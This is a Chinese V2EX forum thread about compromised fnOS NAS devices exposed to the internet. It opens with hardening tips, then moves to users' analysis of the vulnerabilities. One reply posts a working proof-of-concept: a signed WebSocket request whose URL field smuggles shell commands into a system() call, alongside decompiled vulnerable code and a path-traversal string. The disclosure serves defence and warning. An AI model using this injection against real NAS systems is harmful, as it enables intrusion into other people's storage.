公网使用飞牛 nas 的一些安全使用小提示--感谢飞牛官方团队

1 月 30 日
 lyz2754509784
首先感谢飞牛官方的技术人员凌晨 2 点还在协助解决安全问题,用爱发电,真的很辛苦!!再次感谢
先说我的 nas 出现的问题:大约一周前不定时爆连接数指向一个 ip ,疑似被黑成肉鸡攻击某个站点
在群里讨论后客服积极的拉了技术群并安排了技术人员分析,由于攻击是随机时间的不好抓取,今晚 9 点正好复现,凌晨 2 点飞牛的技术人员完成了安全问题的解决。
在此也给公网使用飞牛的朋友们一些安全小意见以减少 nas 被入侵的安全风险:
web 不建议直接映射,建议使用 tailscale 等类似的组网隧道,最最安全!
如果一定要公网开放 web ,不建议使用 5666 http 的明文端口,安全人员反馈我收到的就是疑似中间人攻击,问题源自于 5666 的明文 http 注入。
建议使用 5667 的 https 端口,开启 https 强制跳转,同时签名证书来保证安全
ssh 建议是在不调整 nas 时关闭,减少风险
使用强密码,不执行不开源的来源不明的脚本。
再次感谢飞牛官方团队的技术支持,凌晨 2 点技术在线解决问题说实话真的让我很惊讶,再次感谢,也希望我的遭遇可以让其他有相同问题的朋友们可以参考
21924 次点击
所在节点    NAS
111 条回复
a9htdkbv
1 月 31 日
@yGin 我猜原始入口还是这个路径穿越获取了一些敏感配置文件,升级了 1.1.15 还存在问题可能是之前被攻击的残留,我公网搭了一台 1.1.15 蜜罐机,目前还没事
yGin
1 月 31 日
@a9htdkbv #61 感谢,如果是 1 月 22 日的版本发布已经修复,那我纠正我的说法,用户需要尽快更新到 1.1.15 ,而那些已经是 1.1.15 但之前被挂马的机器,是需要官方技术团本去帮用户解决木马的,毕竟用户使用你家的存储产品但因为漏洞而被入侵,这是你一个软件驱动的公司应该做的,大量的用户其实是没有能力手动清除那些马的,是需要官方出一个清除方案/专杀工具的。

不过也论证了一个事情,飞牛公司知晓自己的产品存在高危漏洞的情况下,不仅没有发出非常明显的公告让用户尽快升级,甚至还在修复版本的 updatlog 里不写这个漏洞,给人一种我不说就无人知晓的感觉。希望飞牛在黑客进行大规模数据劫持行为前能够正面、正确的面对这个事,对用户负责。
patrickyoung
1 月 31 日
@a9htdkbv @yGin 原始的命令执行的问题在 1.15 还是存在的。
Hantong
1 月 31 日
@patrickyoung 除了 "/app-center-static/serviceicon/myapp/{0}?size=../../../../" 这里的路径穿越还有洞?

---

https://club.fnnas.com/forum.php?mod=viewthread&tid=48354, 好像这个问题已经很久了, 不是简单的路径穿越的问题
patrickyoung
1 月 31 日
Disclaimer: 仅供在自搭建的测试实例学习研究使用。

问题函数是 appcgi.dockermgr.systemMirrorAdd 和 appcgi.dockermgr.systemMirrorChange

存在在后端的 /usr/trim/bin/dockermgr

是一个 authorized RCE 。

如果论坛的用户没有弱口令,那说明这个系统前面还有一个 Authorization Bypass 。

系统架构是 Nginx 反代了一些 local unix socket (/run/*.socket) 与后端服务通信,几个端口都是到 nginx 的。

很不幸的是,这个过程全程通过 Websocket 通信,在系统本地我快速用我的测试 payload grep 了一下本地的文本格式日志和 systemd journal ,没有找到任何的日志记录。

系统在 /usr/trim/var/eventlogger_service 下面有一个 sqlite3 日志,依然是没有相关的日志。

@Hantong POC 稍后发出
a9htdkbv
1 月 31 日
@Hantong 已经公网搭蜜罐骗🕳️了
patrickyoung
1 月 31 日
底层的关键代码是这样的:

```
snprintf(
s,
0x2000u,
"touch /run/test-mirror.json && dockerd --registry-mirror %s --validate --config-file /run/test-mirror.json",
(const char *)v10[0]);
if ( system(s) )
{
sub_1012C0(v14, "");
sub_1012C0(v12, "");
```


稍微写过一点 linux C 的人都知道,直接拼接了用户的输入到 system() 导致了命令执行。

官方可能以为前端校验了一下 URL 格式,后端就不用管了,所以造成了问题。
patrickyoung
1 月 31 日
本来不太想发 POC 的,但是鉴于官方在 1.15 还是装死,还是公开了。

Disclaimer: 仅供在自搭建的测试实例学习研究使用。

测试 POC:

WebSocket 连接: http://IP:5666/websocket?type=main

请求 Body:

```
cA8dKVgUFNf/5QdKdIa7nEhaup6ObIo6D18J0am+KBQ={"reqid":"697da669697da3bc000000090f31","req":"appcgi.dockermgr.systemMirrorAdd","url":"https://test.example.com ; /usr/bin/touch /tmp/hacked20260131 ; /usr/bin/echo ","name":"2"}
```

JSON 前面的内容是 使用浏览器的 localStorage.fnos-Secret 内的值作为 Key 对后面的 JSON 进行 HMAC-SHA256 后的签名。因为这个 Secret 仅在登陆成功后才会设定,因此需要现有一个有效的账户。

payload 放在请求体的 URL 内,成功后会在 /tmp 下创建文件 hacked20260131 。

此漏洞在当前最新版 1.1.15-1493 中仍然存在。

如果这个版本还有问题,那说明前面还有一个 authorization bypass 漏洞(要么是验证不当,要么是 Nginx 反代配置不当)。


-----


这里感谢 @Hantong 的回复:


我能找到的有记录的版本是 https://iso.liveupdate.fnnas.com/x86_64/trim/fnos-1.1.11-1438.iso, 然后拿官方的那个 https://fnnas.com/api/download-sign POST JSON `{"url": "https://iso.liveupdate.fnnas.com/x86_64/trim/fnos-1.1.11-1438.iso"}` 签个名就行


-----

当前的建议:

- 不要在公网暴露你的实例,使用 Zerotier / Tailscale 加一层保护。
- 如果一定要,可以试试长亭的 雷池 WAF ,但是我没实际验证过效果。
patrickyoung
1 月 31 日
One more thing, 已中招的用户请考虑停止使用你的实例,一般类似的病毒加了 rootkit 之外都还有其他的持久化措施,我不想花时间再去看他们的东西了,如果数据区有相关感染的话,重装也没用。
oppose2336
1 月 31 日
asuraa
1 月 31 日
这次这个漏洞事件说明飞牛官方毫无担当,有问题就会采取鸵鸟政策,以后绝对不能再用飞牛了,群晖虽然慢,但是靠谱,用了这么多年没出过这种恶行漏洞
pingdog
1 月 31 日
@patrickyoung 行动力 max 。属于强行提高飞牛的技术能力了🌚

和我推测的差不多,https://v2ex.com/t/1189672?p=1#r_17274769

不过提醒一下。。针对国产软件公司无预警就发布 PoC ,有点风险。适当时候注意保护自己。
chqome
1 月 31 日
感谢什么,把你隐私卖了还帮忙数钱呢
Hantong
1 月 31 日
@patrickyoung 这洞也太低级了... 不过楼下也说了, 没授权公开 PoC, 怕等下直接上门了()

路径穿越那个, 我后面又搜了一下, 其实早在 1.1.8 还有个更低级的表现, 不知道你有没有留意到: https://club.fnnas.com/forum.php?mod=viewthread&tid=48354
dianso
1 月 31 日
越开发越不安全,还不如直接 debian ubuntu
qianlongzt
1 月 31 日
这个漏洞至少可以追溯到 0.9.9
lurenjia12138
1 月 31 日
@patrickyoung 估摸着是用任意读获得到了密钥什么的?
截图中,攻击者尝试读取的那个文件,是给/usr/trim/bin/trim 这个程序使用的
dilidilid
1 月 31 日
@patrickyoung 牛逼,直接用 system 执行整段命令,2026 年还有这种操作,飞牛都是什么草台班子呀。。。看来一年多主要就用在前端屎上雕花去了,根本没打磨底层的东西,整天被 B 站那些玩机小子带着跑加一堆花里胡哨的功能
dilidilid
1 月 31 日
群晖还有魔改 btrfs ,SHR ,以及备份套件、云盘套件啥的很难平替,飞牛真没感觉有啥功能是 Debian/Ubuntu + Docker 很难做到的,要是追求开箱即用有钱买群晖,没钱买绿联,飞牛难道指望靠更穷的哥们盈利吗。。。
lurenjia12138
1 月 31 日
@lurenjia12138 相关函数 handle_websocket_packet

我估摸着,解决掉任意文件读取的问题,应该就算安全了

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://v2ex.ih06.com/t/1189392

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX